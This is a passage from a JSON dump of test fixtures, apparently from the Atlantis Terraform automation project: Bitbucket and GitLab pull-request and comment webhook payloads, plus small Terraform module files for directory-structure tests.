\"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n        },\n        \"avatar\": {\n          \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n        }\n      },\n      \"nickname\": \"Luke\",\n      \"type\": \"user\",\n      \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n    }\n  },\n  \"repository\": {\n    \"scm\": \"git\",\n    \"website\": \"\",\n    \"name\": \"atlantis-example\",\n    \"links\": {\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n      },\n      \"avatar\": {\n        \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n      }\n    },\n    \"full_name\": \"lkysow/atlantis-example\",\n    \"owner\": {\n      \"display_name\": \"Luke\",\n      \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n        },\n        \"avatar\": {\n          \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n        }\n      },\n      \"nickname\": \"Luke\",\n      \"type\": \"user\",\n      \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n    },\n    \"type\": \"repository\",\n    \"is_private\": false,\n    \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n  },\n  \"actor\": {\n    \"display_name\": \"Luke\",\n    \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n    \"links\": {\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/\"\n      },\n      \"avatar\": {\n        \"href\": \"https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg\"\n      }\n    },\n    \"nickname\": \"Luke\",\n    \"type\": \"user\",\n    \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/bitbucket-cloud-pull-event-updated.json",
    "content": "{\n  \"pullrequest\": {\n    \"type\": \"pullrequest\",\n    \"description\": \"\",\n    \"links\": {\n      \"decline\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/decline\"\n      },\n      \"commits\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/commits\"\n      },\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1\"\n      },\n      \"comments\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/comments\"\n      },\n      \"merge\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/merge\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/lkysow/atlantis-example/pull-requests/1\"\n      },\n      \"activity\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/activity\"\n      },\n      \"diff\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/diff\"\n      },\n      \"approve\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/approve\"\n      },\n      \"statuses\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/1/statuses\"\n      }\n    },\n    \"title\": \"Initial commit\",\n    \"close_source_branch\": true,\n    \"reviewers\": [],\n    \"id\": 1,\n    \"destination\": {\n      \"commit\": {\n        \"hash\": \"3ee903d4cfa0\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/3ee903d4cfa0\"\n          }\n        }\n      },\n      \"branch\": {\n        \"name\": \"main\"\n      },\n      \"repository\": {\n        \"full_name\": \"lkysow/atlantis-example\",\n        \"type\": \"repository\",\n        \"name\": \"atlantis-example\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n          },\n          \"avatar\": {\n            \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n          }\n        },\n        \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n      }\n    },\n    \"comment_count\": 19,\n    \"summary\": {\n      \"raw\": \"\",\n      \"markup\": \"markdown\",\n      \"html\": \"\",\n      \"type\": \"rendered\"\n    },\n    \"source\": {\n      \"commit\": {\n        \"hash\": \"315f27602bd8\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/315f27602bd8\"\n          }\n        }\n      },\n      \"branch\": {\n        \"name\": \"example\"\n      },\n      \"repository\": {\n        \"full_name\": \"lkysow/atlantis-example\",\n        \"type\": \"repository\",\n        \"name\": \"atlantis-example\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n          },\n          \"avatar\": {\n            \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n          }\n        },\n        \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n      }\n    },\n    \"state\": \"OPEN\",\n    \"author\": {\n      \"display_name\": \"Luke\",\n      \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/users/lkysow\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/\"\n        },\n        \"avatar\": {\n          \"href\": \"https://bitbucket.org/account/lkysow/avatar/\"\n        }\n      },\n      \"type\": \"user\",\n      \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n    },\n    \"created_on\": \"2018-06-02T19:06:43.899883+00:00\",\n    \"participants\": [\n      {\n        \"type\": \"participant\",\n        \"user\": {\n          \"display_name\": \"Luke\",\n          \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n          \"links\": {\n            \"self\": {\n              \"href\": \"https://api.bitbucket.org/2.0/users/lkysow\"\n            },\n            \"html\": {\n              \"href\": \"https://bitbucket.org/lkysow/\"\n            },\n            \"avatar\": {\n              \"href\": \"https://bitbucket.org/account/lkysow/avatar/\"\n            }\n          },\n          \"type\": \"user\",\n          \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n        },\n        \"role\": \"PARTICIPANT\",\n        \"approved\": true,\n        \"participated_on\": \"2018-07-18T15:59:10.105489+00:00\"\n      }\n    ],\n    \"reason\": \"\",\n    \"updated_on\": \"2018-07-18T18:38:19.271207+00:00\",\n    \"merge_commit\": null,\n    \"closed_by\": null,\n    \"task_count\": 0\n  },\n  \"actor\": {\n    \"display_name\": \"Luke\",\n    \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n    \"links\": {\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/users/lkysow\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/lkysow/\"\n      },\n      \"avatar\": {\n        \"href\": \"https://bitbucket.org/account/lkysow/avatar/\"\n      }\n    },\n    \"type\": \"user\",\n    \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n  },\n  \"repository\": {\n    \"scm\": \"git\",\n    \"website\": \"\",\n    \"name\": \"atlantis-example\",\n    \"links\": {\n      \"self\": {\n        \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example\"\n      },\n      \"html\": {\n        \"href\": \"https://bitbucket.org/lkysow/atlantis-example\"\n      },\n      \"avatar\": {\n        \"href\": \"https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default\"\n      }\n    },\n    \"full_name\": \"lkysow/atlantis-example\",\n    \"owner\": {\n      \"display_name\": \"Luke\",\n      \"account_id\": \"557058:dc3817de-68b5-45cd-b81c-5c39d2560090\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/users/lkysow\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/lkysow/\"\n        },\n        \"avatar\": {\n          \"href\": \"https://bitbucket.org/account/lkysow/avatar/\"\n        }\n      },\n      \"type\": \"user\",\n      \"uuid\": \"{bf34a99b-8a11-452c-8fbc-bdffc340e584}\"\n    },\n    \"type\": \"repository\",\n    \"is_private\": false,\n    \"uuid\": \"{94189367-116b-436a-9f77-2314b97a6067}\"\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/bitbucket-server-comment-event.json",
    "content": "{\n  \"eventKey\": \"pr:comment:added\",\n  \"date\": \"2018-07-21T23:20:30+0200\",\n  \"actor\": {\n    \"name\": \"lkysow\",\n    \"emailAddress\": \"lkysow@gmail.com\",\n    \"id\": 1,\n    \"displayName\": \"Luke Kysow\",\n    \"active\": true,\n    \"slug\": \"lkysow\",\n    \"type\": \"NORMAL\"\n  },\n  \"pullRequest\": {\n    \"id\": 1,\n    \"version\": 0,\n    \"title\": \"Null resource\",\n    \"state\": \"OPEN\",\n    \"open\": true,\n    \"closed\": false,\n    \"createdDate\": 1532207977313,\n    \"updatedDate\": 1532207977313,\n    \"fromRef\": {\n      \"id\": \"refs/heads/branch\",\n      \"displayId\": \"branch\",\n      \"latestCommit\": \"bfb1af1ba9c2a2fa84cd61af67e6e1b60a22e060\",\n      \"repository\": {\n        \"slug\": \"atlantis-example\",\n        \"id\": 1,\n        \"name\": \"atlantis-example\",\n        \"scmId\": \"git\",\n        \"state\": \"AVAILABLE\",\n        \"statusMessage\": \"Available\",\n        \"forkable\": true,\n        \"project\": {\n          \"key\": \"FK\",\n          \"id\": 1,\n          \"name\": \"atlantis-fork\",\n          \"public\": false,\n          \"type\": \"NORMAL\"\n        },\n        \"public\": false\n      }\n    },\n    \"toRef\": {\n      \"id\": \"refs/heads/main\",\n      \"displayId\": \"main\",\n      \"latestCommit\": \"3d1f26bc1c8eeb5ad94e247c92072717b9de6aa0\",\n      \"repository\": {\n        \"slug\": \"atlantis-example\",\n        \"id\": 1,\n        \"name\": \"atlantis-example\",\n        \"scmId\": \"git\",\n        \"state\": \"AVAILABLE\",\n        \"statusMessage\": \"Available\",\n        \"forkable\": true,\n        \"project\": {\n          \"key\": \"AT\",\n          \"id\": 1,\n          \"name\": \"atlantis\",\n          \"public\": false,\n          \"type\": \"NORMAL\"\n        },\n        \"public\": false\n      }\n    },\n    \"locked\": false,\n    \"author\": {\n      \"user\": {\n        \"name\": \"lkysow\",\n        \"emailAddress\": \"lkysow@gmail.com\",\n        \"id\": 1,\n        \"displayName\": \"Luke Kysow\",\n        \"active\": true,\n        \"slug\": \"lkysow\",\n        \"type\": \"NORMAL\"\n      },\n      \"role\": \"AUTHOR\",\n      \"approved\": false,\n      \"status\": \"UNAPPROVED\"\n    },\n    \"reviewers\": [],\n    \"participants\": []\n  },\n  \"comment\": {\n    \"properties\": {\n      \"repositoryId\": 1\n    },\n    \"id\": 1,\n    \"version\": 0,\n    \"text\": \"atlantis plan\",\n    \"author\": {\n      \"name\": \"lkysow\",\n      \"emailAddress\": \"lkysow@gmail.com\",\n      \"id\": 1,\n      \"displayName\": \"Luke Kysow\",\n      \"active\": true,\n      \"slug\": \"lkysow\",\n      \"type\": \"NORMAL\"\n    },\n    \"createdDate\": 1532208030682,\n    \"updatedDate\": 1532208030682,\n    \"comments\": [],\n    \"tasks\": []\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/bitbucket-server-get-pull-changes.json",
    "content": "{\n  \"fromHash\": \"bbc7b2a29344646ec8605be9603a0aa625a627ef\",\n  \"toHash\": \"737bfd254f39b36733ee2d5089db65c7369c7692\",\n  \"properties\": {\n    \"changeScope\": \"ALL\"\n  },\n  \"values\": [\n    {\n      \"contentId\": \"fdc4b3b5b37ba11f0cbec7a2744cddb35bab785b\",\n      \"fromContentId\": \"0000000000000000000000000000000000000000\",\n      \"path\": {\n        \"components\": [\n          \"folder\",\n          \"another.tf\"\n        ],\n        \"parent\": \"folder\",\n        \"name\": \"another.tf\",\n        \"extension\": \"tf\",\n        \"toString\": \"folder/another.tf\"\n      },\n      \"executable\": false,\n      \"percentUnchanged\": -1,\n      \"type\": \"ADD\",\n      \"nodeType\": \"FILE\",\n      \"links\": {\n        \"self\": [\n          null\n        ]\n      },\n      \"properties\": {\n        \"gitChangeType\": \"ADD\"\n      }\n    },\n    {\n      \"contentId\": \"a44a3e1d545c78dc67236af92395b864a7035498\",\n      \"fromContentId\": \"dc333454be3243d54ff155489df0bc0e94807a35\",\n      \"path\": {\n        \"components\": [\n          \"main.tf\"\n        ],\n        \"parent\": \"\",\n        \"name\": \"main.tf\",\n        \"extension\": \"tf\",\n        \"toString\": \"main.tf\"\n      },\n      \"executable\": false,\n      \"percentUnchanged\": -1,\n      \"type\": \"MODIFY\",\n      \"nodeType\": \"FILE\",\n      \"srcExecutable\": false,\n      \"links\": {\n        \"self\": [\n          null\n        ]\n      },\n      \"properties\": {\n        \"gitChangeType\": \"MODIFY\"\n      }\n    }\n  ],\n  \"size\": 2,\n  \"isLastPage\": true,\n  \"start\": 0,\n  \"limit\": 25,\n  \"nextPageStart\": null\n}"
  },
  {
    "path": "server/events/testdata/bitbucket-server-get-pull.json",
    "content": "{\n  \"id\": 3,\n  \"version\": 0,\n  \"title\": \"main.tf edited online with Bitbucket\",\n  \"state\": \"OPEN\",\n  \"open\": true,\n  \"closed\": false,\n  \"createdDate\": 1532350340104,\n  \"updatedDate\": 1532350340104,\n  \"fromRef\": {\n    \"id\": \"refs/heads/lkysow/maintf-1532350335286\",\n    \"displayId\": \"lkysow/maintf-1532350335286\",\n    \"latestCommit\": \"43b60c668d138b2070bb6a746e09ef513e51a891\",\n    \"repository\": {\n      \"slug\": \"atlantis-example\",\n      \"id\": 1,\n      \"name\": \"atlantis-example\",\n      \"scmId\": \"git\",\n      \"state\": \"AVAILABLE\",\n      \"statusMessage\": \"Available\",\n      \"forkable\": true,\n      \"project\": {\n        \"key\": \"AT\",\n        \"id\": 1,\n        \"name\": \"atlantis\",\n        \"public\": false,\n        \"type\": \"NORMAL\",\n        \"links\": {\n          \"self\": [\n            {\n              \"href\": \"http://localhost:7990/projects/AT\"\n            }\n          ]\n        }\n      },\n      \"public\": false,\n      \"links\": {\n        \"clone\": [\n          {\n            \"href\": \"http://localhost:7990/scm/at/atlantis-example.git\",\n            \"name\": \"http\"\n          },\n          {\n            \"href\": \"ssh://git@localhost:7999/at/atlantis-example.git\",\n            \"name\": \"ssh\"\n          }\n        ],\n        \"self\": [\n          {\n            \"href\": \"http://localhost:7990/projects/AT/repos/atlantis-example/browse\"\n          }\n        ]\n      }\n    }\n  },\n  \"toRef\": {\n    \"id\": \"refs/heads/main\",\n    \"displayId\": \"main\",\n    \"latestCommit\": \"bbc7b2a29344646ec8605be9603a0aa625a627ef\",\n    \"repository\": {\n      \"slug\": \"atlantis-example\",\n      \"id\": 1,\n      \"name\": \"atlantis-example\",\n      \"scmId\": \"git\",\n      \"state\": \"AVAILABLE\",\n      \"statusMessage\": \"Available\",\n      \"forkable\": true,\n      \"project\": {\n        \"key\": \"AT\",\n        \"id\": 1,\n        \"name\": \"atlantis\",\n        \"public\": false,\n        \"type\": \"NORMAL\",\n        \"links\": {\n          \"self\": [\n            {\n              \"href\": \"http://localhost:7990/projects/AT\"\n            }\n          ]\n        }\n      },\n      \"public\": false,\n      \"links\": {\n        \"clone\": [\n          {\n            \"href\": \"http://localhost:7990/scm/at/atlantis-example.git\",\n            \"name\": \"http\"\n          },\n          {\n            \"href\": \"ssh://git@localhost:7999/at/atlantis-example.git\",\n            \"name\": \"ssh\"\n          }\n        ],\n        \"self\": [\n          {\n            \"href\": \"http://localhost:7990/projects/AT/repos/atlantis-example/browse\"\n          }\n        ]\n      }\n    }\n  },\n  \"locked\": false,\n  \"author\": {\n    \"user\": {\n      \"name\": \"lkysow\",\n      \"emailAddress\": \"lkysow@gmail.com\",\n      \"id\": 1,\n      \"displayName\": \"Luke Kysow\",\n      \"active\": true,\n      \"slug\": \"lkysow\",\n      \"type\": \"NORMAL\",\n      \"links\": {\n        \"self\": [\n          {\n            \"href\": \"http://localhost:7990/users/lkysow\"\n          }\n        ]\n      }\n    },\n    \"role\": \"AUTHOR\",\n    \"approved\": false,\n    \"status\": \"UNAPPROVED\"\n  },\n  \"reviewers\": [\n    {\n      \"user\": {\n        \"name\": \"another-user\",\n        \"emailAddress\": \"lkysow@gmail.com\",\n        \"id\": 2,\n        \"displayName\": \"another-user\",\n        \"active\": true,\n        \"slug\": \"another-user\",\n        \"type\": \"NORMAL\",\n        \"links\": {\n          \"self\": [\n            {\n              \"href\": \"http://localhost:7990/users/another-user\"\n            }\n          ]\n        }\n      },\n      \"lastReviewedCommit\": \"43b60c668d138b2070bb6a746e09ef513e51a891\",\n      \"role\": \"REVIEWER\",\n      \"approved\": true,\n      \"status\": \"APPROVED\"\n    }\n  ],\n  \"participants\": [],\n  \"links\": {\n    \"self\": [\n      {\n        \"href\": \"http://localhost:7990/projects/AT/repos/atlantis-example/pull-requests/3\"\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/bitbucket-server-pull-event-created.json",
    "content": "{\n  \"eventKey\": \"pr:opened\",\n  \"date\": \"2018-07-21T23:19:37+0200\",\n  \"actor\": {\n    \"name\": \"lkysow\",\n    \"emailAddress\": \"lkysow@gmail.com\",\n    \"id\": 1,\n    \"displayName\": \"Luke Kysow\",\n    \"active\": true,\n    \"slug\": \"lkysow\",\n    \"type\": \"NORMAL\"\n  },\n  \"pullRequest\": {\n    \"id\": 1,\n    \"version\": 0,\n    \"title\": \"Null resource\",\n    \"state\": \"OPEN\",\n    \"open\": true,\n    \"closed\": false,\n    \"createdDate\": 1532207977313,\n    \"updatedDate\": 1532207977313,\n    \"fromRef\": {\n      \"id\": \"refs/heads/branch\",\n      \"displayId\": \"branch\",\n      \"latestCommit\": \"bfb1af1ba9c2a2fa84cd61af67e6e1b60a22e060\",\n      \"repository\": {\n        \"slug\": \"atlantis-example\",\n        \"id\": 1,\n        \"name\": \"atlantis-example\",\n        \"scmId\": \"git\",\n        \"state\": \"AVAILABLE\",\n        \"statusMessage\": \"Available\",\n        \"forkable\": true,\n        \"project\": {\n          \"key\": \"AT\",\n          \"id\": 1,\n          \"name\": \"atlantis\",\n          \"public\": false,\n          \"type\": \"NORMAL\"\n        },\n        \"public\": false\n      }\n    },\n    \"toRef\": {\n      \"id\": \"refs/heads/main\",\n      \"displayId\": \"main\",\n      \"latestCommit\": \"3d1f26bc1c8eeb5ad94e247c92072717b9de6aa0\",\n      \"repository\": {\n        \"slug\": \"atlantis-example\",\n        \"id\": 1,\n        \"name\": \"atlantis-example\",\n        \"scmId\": \"git\",\n        \"state\": \"AVAILABLE\",\n        \"statusMessage\": \"Available\",\n        \"forkable\": true,\n        \"project\": {\n          \"key\": \"AT\",\n          \"id\": 1,\n          \"name\": \"atlantis\",\n          \"public\": false,\n          \"type\": \"NORMAL\"\n        },\n        \"public\": false\n      }\n    },\n    \"locked\": false,\n    \"author\": {\n      \"user\": {\n        \"name\": \"lkysow\",\n        \"emailAddress\": \"lkysow@gmail.com\",\n        \"id\": 1,\n        \"displayName\": \"Luke Kysow\",\n        \"active\": true,\n        \"slug\": \"lkysow\",\n        \"type\": \"NORMAL\"\n      },\n      \"role\": \"AUTHOR\",\n      \"approved\": false,\n      \"status\": \"UNAPPROVED\"\n    },\n    \"reviewers\": [],\n    \"participants\": []\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/bitbucket-server-pull-event-declined.json",
    "content": "{\n  \"eventKey\": \"pr:declined\",\n  \"date\": \"2018-07-23T13:59:48+0200\",\n  \"actor\": {\n    \"name\": \"lkysow\",\n    \"emailAddress\": \"lkysow@gmail.com\",\n    \"id\": 1,\n    \"displayName\": \"Luke Kysow\",\n    \"active\": true,\n    \"slug\": \"lkysow\",\n    \"type\": \"NORMAL\"\n  },\n  \"pullRequest\": {\n    \"id\": 1,\n    \"version\": 7,\n    \"title\": \"Null resource2\",\n    \"state\": \"DECLINED\",\n    \"open\": false,\n    \"closed\": true,\n    \"createdDate\": 1532207977313,\n    \"updatedDate\": 1532347188162,\n    \"closedDate\": 1532347188162,\n    \"fromRef\": {\n      \"id\": \"refs/heads/branch\",\n      \"displayId\": \"branch\",\n      \"latestCommit\": \"46955afd9b6c5dfa8753727d0669925e057e69b1\",\n      \"repository\": {\n        \"slug\": \"atlantis-example\",\n        \"id\": 1,\n        \"name\": \"atlantis-example\",\n        \"scmId\": \"git\",\n        \"state\": \"AVAILABLE\",\n        \"statusMessage\": \"Available\",\n        \"forkable\": true,\n        \"project\": {\n          \"key\": \"AT\",\n          \"id\": 1,\n          \"name\": \"atlantis\",\n          \"public\": false,\n          \"type\": \"NORMAL\"\n        },\n        \"public\": false\n      }\n    },\n    \"toRef\": {\n      \"id\": \"refs/heads/main\",\n      \"displayId\": \"main\",\n      \"latestCommit\": \"120cff6e1452086c90689c810c15b534381ba61b\",\n      \"repository\": {\n        \"slug\": \"atlantis-example\",\n        \"id\": 1,\n        \"name\": \"atlantis-example\",\n        \"scmId\": \"git\",\n        \"state\": \"AVAILABLE\",\n        \"statusMessage\": \"Available\",\n        \"forkable\": true,\n        \"project\": {\n          \"key\": \"AT\",\n          \"id\": 1,\n          \"name\": \"atlantis\",\n          \"public\": false,\n          \"type\": \"NORMAL\"\n        },\n        \"public\": false\n      }\n    },\n    \"locked\": false,\n    \"author\": {\n      \"user\": {\n        \"name\": \"lkysow\",\n        \"emailAddress\": \"lkysow@gmail.com\",\n        \"id\": 1,\n        \"displayName\": \"Luke Kysow\",\n        \"active\": true,\n        \"slug\": \"lkysow\",\n        \"type\": \"NORMAL\"\n      },\n      \"role\": \"AUTHOR\",\n      \"approved\": false,\n      \"status\": \"UNAPPROVED\"\n    },\n    \"reviewers\": [],\n    \"participants\": []\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/bitbucket-server-pull-event-merged.json",
    "content": "{\n  \"eventKey\": \"pr:merged\",\n  \"date\": \"2018-07-23T14:00:19+0200\",\n  \"actor\": {\n    \"name\": \"lkysow\",\n    \"emailAddress\": \"lkysow@gmail.com\",\n    \"id\": 1,\n    \"displayName\": \"Luke Kysow\",\n    \"active\": true,\n    \"slug\": \"lkysow\",\n    \"type\": \"NORMAL\"\n  },\n  \"pullRequest\": {\n    \"id\": 2,\n    \"version\": 2,\n    \"title\": \"Branch\",\n    \"description\": \"* Null resource\\r\\n* main.tf edited online with Bitbucket\\r\\n* Update 2\\r\\n* main.tf edited online with Bitbucket\\r\\n* kkj\\r\\n* main.tf edited online with Bitbucket\",\n    \"state\": \"MERGED\",\n    \"open\": false,\n    \"closed\": true,\n    \"createdDate\": 1532211497403,\n    \"updatedDate\": 1532347219220,\n    \"closedDate\": 1532347219220,\n    \"fromRef\": {\n      \"id\": \"refs/heads/branch\",\n      \"displayId\": \"branch\",\n      \"latestCommit\": \"86a574157f5a2dadaf595b9f06c70fdfdd039912\",\n      \"repository\": {\n        \"slug\": \"atlantis-example\",\n        \"id\": 2,\n        \"name\": \"atlantis-example\",\n        \"scmId\": \"git\",\n        \"state\": \"AVAILABLE\",\n        \"statusMessage\": \"Available\",\n        \"forkable\": true,\n        \"origin\": {\n          \"slug\": \"atlantis-example\",\n          \"id\": 1,\n          \"name\": \"atlantis-example\",\n          \"scmId\": \"git\",\n          \"state\": \"AVAILABLE\",\n          \"statusMessage\": \"Available\",\n          \"forkable\": true,\n          \"project\": {\n            \"key\": \"FK\",\n            \"id\": 1,\n            \"name\": \"atlantis-fork\",\n            \"public\": false,\n            \"type\": \"NORMAL\"\n          },\n          \"public\": false\n        },\n        \"project\": {\n          \"key\": \"FK\",\n          \"id\": 2,\n          \"name\": \"atlantis-fork\",\n          \"type\": \"NORMAL\"\n        },\n        \"public\": false\n      }\n    },\n    \"toRef\": {\n      \"id\": \"refs/heads/main\",\n      \"displayId\": \"main\",\n      \"latestCommit\": \"120cff6e1452086c90689c810c15b534381ba61b\",\n      \"repository\": {\n        \"slug\": \"atlantis-example\",\n        \"id\": 1,\n        \"name\": \"atlantis-example\",\n        \"scmId\": \"git\",\n        \"state\": \"AVAILABLE\",\n        \"statusMessage\": \"Available\",\n        \"forkable\": true,\n        \"project\": {\n          \"key\": \"AT\",\n          \"id\": 1,\n          \"name\": \"atlantis\",\n          \"public\": false,\n          \"type\": \"NORMAL\"\n        },\n        \"public\": false\n      }\n    },\n    \"locked\": false,\n    \"author\": {\n      \"user\": {\n        \"name\": \"lkysow\",\n        \"emailAddress\": \"lkysow@gmail.com\",\n        \"id\": 1,\n        \"displayName\": \"Luke Kysow\",\n        \"active\": true,\n        \"slug\": \"lkysow\",\n        \"type\": \"NORMAL\"\n      },\n      \"role\": \"AUTHOR\",\n      \"approved\": false,\n      \"status\": \"UNAPPROVED\"\n    },\n    \"reviewers\": [],\n    \"participants\": [],\n    \"properties\": {\n      \"mergeCommit\": {\n        \"displayId\": \"bbc7b2a2934\",\n        \"id\": \"bbc7b2a29344646ec8605be9603a0aa625a627ef\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/fs/repoA/baz/init.tf",
    "content": ""
  },
  {
    "path": "server/events/testdata/fs/repoA/baz/mods.tf",
    "content": "module \"bar\" {\n  source = \"../modules/bar\"\n}\n"
  },
  {
    "path": "server/events/testdata/fs/repoA/modules/bar/bar.tf",
    "content": ""
  },
  {
    "path": "server/events/testdata/fs/repoA/modules/foo/foo.tf",
    "content": ""
  },
  {
    "path": "server/events/testdata/fs/repoA/modules/foo/mods.tf",
    "content": "module \"bar\" {\n  source = \"../bar\"\n}\n"
  },
  {
    "path": "server/events/testdata/fs/repoA/qux/quxx/init.tf",
    "content": ""
  },
  {
    "path": "server/events/testdata/fs/repoA/qux/quxx/mods.tf",
    "content": "module \"foo\" {\n  source = \"../../modules/foo\"\n}"
  },
  {
    "path": "server/events/testdata/fs/repoB/dev/quxx/init.tf",
    "content": ""
  },
  {
    "path": "server/events/testdata/fs/repoB/dev/quxx/mods.tf",
    "content": "module \"foo\" {\n  source = \"../../modules/foo\"\n}\n"
  },
  {
    "path": "server/events/testdata/fs/repoB/modules/bar/bar.tf",
    "content": ""
  },
  {
    "path": "server/events/testdata/fs/repoB/modules/foo/foo.tf",
    "content": ""
  },
  {
    "path": "server/events/testdata/fs/repoB/modules/foo/mods.tf",
    "content": "module \"bar\" {\n  source = \"../bar\"\n}\n"
  },
  {
    "path": "server/events/testdata/fs/repoB/prod/quxx/init.tf",
    "content": ""
  },
  {
    "path": "server/events/testdata/fs/repoB/prod/quxx/mods.tf",
    "content": "module \"foo\" {\n  source = \"../../modules/foo\"\n}"
  },
  {
    "path": "server/events/testdata/gitlab-get-merge-request-subgroup.json",
    "content": "{\n  \"id\": 15372654,\n  \"iid\": 2,\n  \"project_id\": 7804027,\n  \"title\": \"Update main.tf\",\n  \"description\": \"\",\n  \"state\": \"opened\",\n  \"created_at\": \"2018-08-22T06:14:20.946Z\",\n  \"updated_at\": \"2018-08-22T06:14:20.946Z\",\n  \"target_branch\": \"main\",\n  \"source_branch\": \"patch\",\n  \"upvotes\": 0,\n  \"downvotes\": 0,\n  \"author\": {\n    \"id\": 1755902,\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"state\": \"active\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80\\u0026d=identicon\",\n    \"web_url\": \"https://gitlab.com/lkysow\"\n  },\n  \"assignee\": null,\n  \"source_project_id\": 7804027,\n  \"target_project_id\": 7804027,\n  \"labels\": [],\n  \"work_in_progress\": false,\n  \"milestone\": null,\n  \"merge_when_pipeline_succeeds\": false,\n  \"merge_status\": \"can_be_merged\",\n  \"sha\": \"901d9770ef1a6862e2a73ec1bacc73590abb9aff\",\n  \"merge_commit_sha\": null,\n  \"user_notes_count\": 1,\n  \"discussion_locked\": null,\n  \"should_remove_source_branch\": null,\n  \"force_remove_source_branch\": false,\n  \"web_url\": 